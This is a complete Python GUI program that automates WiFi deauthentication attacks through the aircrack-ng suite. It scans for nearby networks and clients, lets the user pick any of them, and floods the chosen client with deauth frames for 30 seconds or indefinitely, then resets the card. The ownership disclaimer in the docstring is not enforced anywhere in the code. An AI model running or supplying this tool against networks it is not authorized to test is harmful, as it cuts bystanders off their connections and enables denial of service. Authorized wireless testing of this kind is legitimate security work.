#!/usr/bin/env python3 """ Guided WiFi deauth test tool — for a network you own or are authorized to test. Flow: pick card -> monitor mode (saves state) -> scan networks -> pick one -> scan its clients -> pick one -> deauth (30s countdown | infinite) -> "Stop & Reset card" restores everything. Requires: Linux, root, and the aircrack-ng suite + iw + iproute2: sudo apt install aircrack-ng iw iproute2 Run: sudo python3 wifi_deauth.py Selftest: python3 wifi_deauth.py --selftest This is a front-end for airmon-ng / airodump-ng / aireplay-ng. wifite2 and airgeddon do the same job if you just want the result. """ import glob import os import re import shutil import subprocess import sys import tempfile import threading import time try: import tkinter as tk from tkinter import messagebox, ttk except ModuleNotFoundError: # GUI deps absent; --selftest still runs tk = messagebox = ttk = None SCAN_NET_SECS = 10 SCAN_CLIENT_SECS = 15 DEAUTH_TIMED_SECS = 30 MAC_RE = r"^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$" # --- child process registry (so "Stop & Reset" can kill mid-scan/mid-deauth) --- _procs = set() def _spawn(cmd, **kw): p = subprocess.Popen(cmd, **kw) _procs.add(p) return p def _reap(p): _procs.discard(p) def kill_all_children(): for p in list(_procs): try: if p.poll() is None: p.terminate() except Exception: pass time.sleep(0.5) for p in list(_procs): try: if p.poll() is None: p.kill() except Exception: pass _procs.discard(p) def run(cmd, timeout=30): return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) # --------------------------- interface discovery ------------------------------ def list_wifi_interfaces(): """[{iface, phy, type, addr, monitor_capable}] from `iw dev`.""" try: out = run(["iw", "dev"]).stdout except Exception: return [] ifaces, cur_phy, cur = [], None, None for line in out.splitlines(): m = re.match(r"phy#(\d+)", line) if m: cur_phy = "phy" + m.group(1) m = re.match(r"\s+Interface (\S+)", line) if m: if cur: ifaces.append(cur) cur = {"iface": m.group(1), "phy": cur_phy, "type": "?", "addr": "?"} m = re.match(r"\s+addr (\S+)", line) if m and cur: cur["addr"] = m.group(1) m = re.match(r"\s+type (\S+)", line) if m and cur: cur["type"] = m.group(1) if cur: ifaces.append(cur) for it in ifaces: it["monitor_capable"] = _phy_has_monitor(it["phy"]) return ifaces def _phy_has_monitor(phy): if not phy: return False out = run(["iw", phy, "info"]).stdout grab = False for line in out.splitlines(): if "Supported interface modes:" in line: grab = True continue if grab: if re.match(r"\s+\*", line): if "monitor" in line: return True else: break return False # ------------------------------ card state ---------------------------------- class CardState: def __init__(self, iface): self.orig_iface = iface["iface"] self.orig_addr = iface["addr"] self.nm_was_active = ( run(["systemctl", "is-active", "NetworkManager"]).stdout.strip() == "active" ) self.mon_iface = None self.used_airmon = False def enable_monitor(state): run(["airmon-ng", "check", "kill"]) before = {i["iface"] for i in list_wifi_interfaces()} res = run(["airmon-ng", "start", state.orig_iface]) state.used_airmon = True time.sleep(1) after = list_wifi_interfaces() new = {i["iface"] for i in after} - before if new: state.mon_iface = new.pop() else: m = re.search(r"enabled (?:for \[[^\]]+\]\S+ )?on (?:\[[^\]]+\])?(\S+?)\)", res.stdout) if m: state.mon_iface = m.group(1) else: for i in after: if i["iface"] == state.orig_iface and i["type"] == "monitor": state.mon_iface = state.orig_iface if not state.mon_iface: raise RuntimeError("Could not determine monitor interface:\n" + res.stdout + res.stderr) return state.mon_iface def reset_card(state): if not state: return kill_all_children() if state.mon_iface and state.used_airmon: run(["airmon-ng", "stop", state.mon_iface]) names = {i["iface"]: i for i in list_wifi_interfaces()} if state.orig_iface not in names and state.mon_iface in names: run(["iw", state.mon_iface, "set", "type", "managed"]) run(["ip", "link", "set", state.mon_iface, "name", state.orig_iface]) names = {i["iface"]: i for i in list_wifi_interfaces()} it = names.get(state.orig_iface) if it and state.orig_addr not in ("?", None) and it["addr"].lower() != state.orig_addr.lower(): run(["ip", "link", "set", state.orig_iface, "down"]) run(["ip", "link", "set", state.orig_iface, "address", state.orig_addr]) run(["ip", "link", "set", state.orig_iface, "up"]) if state.nm_was_active: run(["systemctl", "start", "NetworkManager"]) # ------------------------------ scanning ----------------------------------- def airodump_scan(mon_iface, secs, bssid=None, channel=None): tmpdir = tempfile.mkdtemp(prefix="wifiscan_") prefix = os.path.join(tmpdir, "dump") cmd = ["airodump-ng", "-w", prefix, "--output-format", "csv", "--write-interval", "1"] if bssid: cmd += ["--bssid", bssid] if channel: cmd += ["-c", str(channel)] cmd += [mon_iface] p = _spawn(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) # fixed scan duration is a naive heuristic; longer = more results. t0 = time.time() while time.time() - t0 < secs and p.poll() is None: time.sleep(0.3) p.terminate() try: p.wait(timeout=5) except subprocess.TimeoutExpired: p.kill() _reap(p) csvs = sorted(glob.glob(prefix + "*.csv")) aps, stations = ([], []) if csvs: aps, stations = parse_airodump_csv(csvs[-1]) shutil.rmtree(tmpdir, ignore_errors=True) return aps, stations def parse_airodump_csv(path): try: with open(path, encoding="utf-8", errors="replace") as f: text = f.read() except OSError: return [], [] aps, stations, section = [], [], None for line in text.splitlines(): s = line.strip() if not s: continue if s.startswith("BSSID,"): section = "ap" continue if s.startswith("Station MAC,"): section = "sta" continue # naive comma split; an ESSID containing a comma will skew fields. parts = [c.strip() for c in line.split(",")] if section == "ap" and len(parts) >= 14: aps.append({ "bssid": parts[0], "channel": parts[3], "power": parts[8], "privacy": parts[5], "essid": parts[13], }) elif section == "sta" and len(parts) >= 6: stations.append({ "station": parts[0], "power": parts[3], "packets": parts[4], "bssid": parts[5], }) return aps, stations # ------------------------------ deauth ------------------------------------- class Deauth: def __init__(self): self.proc = None def start(self, mon_iface, bssid, client): cmd = ["aireplay-ng", "--deauth", "0", "-a", bssid, "-c", client, mon_iface] self.proc = _spawn(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) def stop(self): p = self.proc if p and p.poll() is None: p.terminate() try: p.wait(timeout=5) except subprocess.TimeoutExpired: p.kill() if p: _reap(p) self.proc = None def running(self): return self.proc is not None and self.proc.poll() is None # ------------------------------- GUI -------------------------------------- class App(tk.Tk if tk is not None else object): def __init__(self): super().__init__() self.title("WiFi Deauth Test — own network") self.geometry("660x480") self.ctx = {} self.state_obj = None self.deauth = Deauth() self.busy = False self.countdown_after = None self.body = tk.Frame(self) self.body.pack(fill="both", expand=True, padx=12, pady=12) bar = tk.Frame(self) bar.pack(fill="x", side="bottom") self.status = tk.Label(bar, text="", anchor="w", fg="#555") self.status.pack(side="left", padx=12, pady=6) self.reset_btn = tk.Button(bar, text="Stop & Reset card", command=self.on_reset, state="disabled") self.reset_btn.pack(side="right", padx=12, pady=6) self.protocol("WM_DELETE_WINDOW", self.on_close) self.screen_select_card() # -- infra -- def clear(self): for w in self.body.winfo_children(): w.destroy() def set_status(self, txt): self.status.config(text=txt) def run_bg(self, fn, on_done, status="Working…", force=False): if self.busy and not force: return self.busy = True self.set_status(status) def worker(): try: res, err = fn(), None except Exception as e: # noqa: BLE001 - surfaced in a dialog res, err = None, e self.after(0, lambda: self._bg_done(on_done, res, err)) threading.Thread(target=worker, daemon=True).start() def _bg_done(self, on_done, res, err): self.busy = False self.set_status("") if err: messagebox.showerror("Error", str(err)) return try: on_done(res) except tk.TclError: pass # screen changed while a scan was in flight def _table(self, cols, widths, height=9): tv = ttk.Treeview(self.body, columns=cols, show="headings", height=height) for c, w in zip(cols, widths): tv.heading(c, text=c) tv.column(c, width=w) tv.pack(fill="both", expand=True, pady=8) return tv # -- screen 1: pick card -- def screen_select_card(self): self.clear() tk.Label(self.body, text="1. Select WiFi card", font=("", 13, "bold")).pack(anchor="w") tv = self._table(("iface", "type", "addr", "monitor"), (120, 90, 170, 110), 8) self._card_rows = {} for it in list_wifi_interfaces(): iid = tv.insert("", "end", values=( it["iface"], it["type"], it["addr"], "yes" if it["monitor_capable"] else "no")) self._card_rows[iid] = it btns = tk.Frame(self.body) btns.pack(fill="x") tk.Button(btns, text="Rescan", command=self.screen_select_card).pack(side="left") nxt = tk.Button(btns, text="Next →", state="disabled", command=lambda: self._card_next(tv)) nxt.pack(side="right") def on_sel(_): sel = tv.selection() ok = bool(sel) and self._card_rows[sel[0]]["monitor_capable"] nxt.config(state="normal" if ok else "disabled") tv.bind("<>", on_sel) def _card_next(self, tv): it = self._card_rows[tv.selection()[0]] if not messagebox.askyesno( "Confirm", f"Put {it['iface']} into monitor mode?\n\n" "This disconnects you from WiFi and stops NetworkManager.\n" "Use 'Stop & Reset card' to undo."): return self.ctx["card"] = it self.state_obj = CardState(it) self.reset_btn.config(state="normal") # enable now: check-kill already ran self.run_bg(lambda: enable_monitor(self.state_obj), self._after_monitor, status=f"Enabling monitor mode on {it['iface']}…") def _after_monitor(self, mon_iface): self.ctx["mon"] = mon_iface self.screen_scan_networks() # -- screen 3: scan networks -- def screen_scan_networks(self): self.clear() tk.Label(self.body, text="3. Scan networks", font=("", 13, "bold")).pack(anchor="w") tk.Label(self.body, text=f"Monitor interface: {self.ctx['mon']}", fg="#555").pack(anchor="w") tv = self._table(("essid", "bssid", "ch", "pwr", "enc"), (210, 150, 45, 50, 90)) self._net_rows = {} btns = tk.Frame(self.body) btns.pack(fill="x") scan_btn = tk.Button(btns, text=f"Scan ({SCAN_NET_SECS}s)") scan_btn.pack(side="left") nxt = tk.Button(btns, text="Next →", state="disabled") nxt.pack(side="right") def do_scan(): self.run_bg(lambda: airodump_scan(self.ctx["mon"], SCAN_NET_SECS), fill, status=f"Scanning networks ({SCAN_NET_SECS}s)…") def fill(result): aps, _ = result tv.delete(*tv.get_children()) self._net_rows.clear() for ap in aps: if not re.match(MAC_RE, ap["bssid"] or ""): continue iid = tv.insert("", "end", values=( ap["essid"], ap["bssid"], ap["channel"], ap["power"], ap["privacy"])) self._net_rows[iid] = ap if not self._net_rows: messagebox.showinfo("Scan", "No networks found. Try again / move closer.") def go_next(): self.ctx["net"] = self._net_rows[tv.selection()[0]] self.screen_scan_clients() scan_btn.config(command=do_scan) tv.bind("<>", lambda _: nxt.config(state="normal" if tv.selection() else "disabled")) nxt.config(command=go_next) do_scan() # -- screen 4: scan clients -- def screen_scan_clients(self): self.clear() net = self.ctx["net"] tk.Label(self.body, text="4. Scan clients", font=("", 13, "bold")).pack(anchor="w") tk.Label(self.body, text=f"{net['essid']} · {net['bssid']} · ch {net['channel']}", fg="#555").pack(anchor="w") tv = self._table(("station", "pwr", "packets"), (210, 60, 80)) self._cli_rows = {} ch_raw = str(net["channel"]).strip() ch = ch_raw if ch_raw.lstrip("-").isdigit() and int(ch_raw) > 0 else None btns = tk.Frame(self.body) btns.pack(fill="x") scan_btn = tk.Button(btns, text=f"Scan ({SCAN_CLIENT_SECS}s)") scan_btn.pack(side="left") tk.Button(btns, text="← Networks", command=self.screen_scan_networks).pack(side="left", padx=6) nxt = tk.Button(btns, text="Next →", state="disabled") nxt.pack(side="right") def do_scan(): self.run_bg( lambda: airodump_scan(self.ctx["mon"], SCAN_CLIENT_SECS, bssid=net["bssid"], channel=ch), fill, status=f"Scanning clients ({SCAN_CLIENT_SECS}s)…") def fill(result): _, stations = result tv.delete(*tv.get_children()) self._cli_rows.clear() for st in stations: if st["bssid"].lower() != net["bssid"].lower(): continue if not re.match(MAC_RE, st["station"] or ""): continue iid = tv.insert("", "end", values=( st["station"], st["power"], st["packets"])) self._cli_rows[iid] = st if not self._cli_rows: messagebox.showinfo("Scan", "No clients seen — they may be idle. Try again.") def go_next(): self.ctx["client"] = self._cli_rows[tv.selection()[0]] self.screen_deauth() scan_btn.config(command=do_scan) tv.bind("<>", lambda _: nxt.config(state="normal" if tv.selection() else "disabled")) nxt.config(command=go_next) do_scan() # -- screen 5: deauth -- def screen_deauth(self): self.clear() net, client = self.ctx["net"], self.ctx["client"] tk.Label(self.body, text="5. Deauth", font=("", 13, "bold")).pack(anchor="w") tk.Label(self.body, text=f"Network : {net['essid']} ({net['bssid']})").pack( anchor="w", pady=(8, 0)) tk.Label(self.body, text=f"Client : {client['station']}").pack(anchor="w") self.mode_var = tk.StringVar(value="timed") f = tk.Frame(self.body) f.pack(anchor="w", pady=12) tk.Radiobutton(f, text=f"{DEAUTH_TIMED_SECS} seconds (countdown)", variable=self.mode_var, value="timed").pack(anchor="w") tk.Radiobutton(f, text="Infinite (until you click Stop)", variable=self.mode_var, value="inf").pack(anchor="w") self.deauth_status = tk.Label(self.body, text="Idle.", font=("", 12)) self.deauth_status.pack(anchor="w", pady=8) bf = tk.Frame(self.body) bf.pack(anchor="w", pady=8) self.start_btn = tk.Button(bf, text="Start deauth", command=self.start_deauth, width=14) self.start_btn.pack(side="left") self.stop_btn = tk.Button(bf, text="Stop deauth", command=self.stop_deauth, width=14, state="disabled") self.stop_btn.pack(side="left", padx=8) tk.Button(bf, text="← Clients", command=lambda: (self.stop_deauth(), self.screen_scan_clients()) ).pack(side="left", padx=8) def start_deauth(self): net, client = self.ctx["net"], self.ctx["client"] self.deauth.start(self.ctx["mon"], net["bssid"], client["station"]) self.start_btn.config(state="disabled") self.stop_btn.config(state="normal") if self.mode_var.get() == "timed": self._remaining = DEAUTH_TIMED_SECS self._tick() else: self.deauth_status.config(text="Deauthing… (infinite) — click Stop to end.") def _tick(self): if not self.deauth.running(): self.stop_deauth() return if self._remaining <= 0: self.deauth_status.config(text=f"Done ({DEAUTH_TIMED_SECS}s).") self.stop_deauth() return self.deauth_status.config(text=f"Deauthing… {self._remaining}s left") self._remaining -= 1 self.countdown_after = self.after(1000, self._tick) def stop_deauth(self): if self.countdown_after: self.after_cancel(self.countdown_after) self.countdown_after = None self.deauth.stop() if hasattr(self, "start_btn") and self.start_btn.winfo_exists(): self.start_btn.config(state="normal") self.stop_btn.config(state="disabled") if "Done" not in self.deauth_status.cget("text"): self.deauth_status.config(text="Stopped.") # -- reset / quit -- def on_reset(self): self.stop_deauth() kill_all_children() self.reset_btn.config(state="disabled") self.busy = False self.run_bg(lambda: reset_card(self.state_obj), self._after_reset, status="Resetting card…", force=True) def _after_reset(self, _): self.state_obj = None self.ctx.clear() messagebox.showinfo("Reset", "Card restored. NetworkManager restarted.") self.screen_select_card() def on_close(self): if self.state_obj: if not messagebox.askyesno("Quit", "Reset card and quit?"): return self.stop_deauth() try: reset_card(self.state_obj) except Exception: pass self.destroy() # ------------------------------ entrypoint -------------------------------- def preflight(): if tk is None: return "Missing Tkinter. Install: sudo apt install python3-tk" if hasattr(os, "geteuid") and os.geteuid() != 0: return f"Run as root: sudo python3 {os.path.basename(__file__)}" missing = [b for b in ("iw", "ip", "airmon-ng", "airodump-ng", "aireplay-ng") if not shutil.which(b)] if missing: return ("Missing commands: " + ", ".join(missing) + "\nInstall: sudo apt install aircrack-ng iw iproute2") return None def _selftest(): sample = ( "BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, " "Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key\r\n" "\r\n" "AA:BB:CC:DD:EE:FF, 2024-01-01 00:00:00, 2024-01-01 00:01:00, 6, 130, " "WPA2, CCMP, PSK, -40, 10, 0, 0.0.0.0, 6, MyWiFi, \r\n" "\r\n" "Station MAC, First time seen, Last time seen, Power, # packets, BSSID, " "Probed ESSIDs\r\n" "\r\n" "11:22:33:44:55:66, 2024-01-01 00:00:10, 2024-01-01 00:01:00, -50, 25, " "AA:BB:CC:DD:EE:FF, MyWiFi\r\n" "99:88:77:66:55:44, 2024-01-01 00:00:10, 2024-01-01 00:01:00, -60, 5, " "(not associated), Other\r\n" ) p = os.path.join(tempfile.gettempdir(), "wd_selftest.csv") with open(p, "w") as f: f.write(sample) aps, sts = parse_airodump_csv(p) os.remove(p) assert len(aps) == 1, aps assert aps[0]["essid"] == "MyWiFi" and aps[0]["channel"] == "6", aps assert len(sts) == 2, sts assoc = [s for s in sts if s["bssid"].lower() == "aa:bb:cc:dd:ee:ff"] assert len(assoc) == 1 and assoc[0]["station"] == "11:22:33:44:55:66", sts print("selftest ok") if __name__ == "__main__": if "--selftest" in sys.argv: _selftest() sys.exit(0) err = preflight() if err: print(err, file=sys.stderr) sys.exit(1) App().mainloop()